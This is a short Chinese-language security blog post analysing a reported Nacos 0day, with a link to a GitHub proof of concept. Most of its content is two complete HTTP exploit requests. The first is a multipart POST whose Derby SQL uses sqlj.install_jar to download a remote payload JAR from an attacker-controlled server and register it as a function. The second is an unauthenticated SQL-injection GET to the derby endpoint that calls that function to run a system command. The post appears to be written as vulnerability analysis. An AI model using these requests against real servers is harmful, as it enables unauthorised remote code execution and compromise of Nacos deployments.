关于网传的nacos最新0day

发布于2024年7月16日2025年7月19日作者:cve-20

关于网传的nacos最新0day

原创 fkalis fkalis 2024-07-15 20:00

个人理解的漏洞原理：本质实际上就是在20年那个未授权的基础上添加了命令执行，但是也导致了该漏洞的利用条件变得比较苛刻，目前测试需要比较多的条件才能进行漏洞利用

1. 0day作者的poc地址

https://github.com/ayoundzw/nacos-poc/blob/main/exploit.py

2. poc提取

根据作者的poc，其本质上就是两种poc数据包，下面的poc并不一定可以直接使用，下面漏洞分析的时候会解答

*1. *利用该poc去服务器地址远程下载payload代码

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 487
Content-Type: multipart/form-data; boundary=75fe833dc591c841a56f8fcfba0d650f

--75fe833dc591c841a56f8fcfba0d650f
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://服务端地址/download', 'NACOS.pbKZBiXL', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.pbKZBiXL')

        CREATE FUNCTION S_EXAMPLE_pbKZBiXL( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

--75fe833dc591c841a56f8fcfba0d650f--

2. 调用payload创建的函数去执行（本质上就是利用了20年的sql注入未授权)

GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_qejBMrcu%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like         Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

****##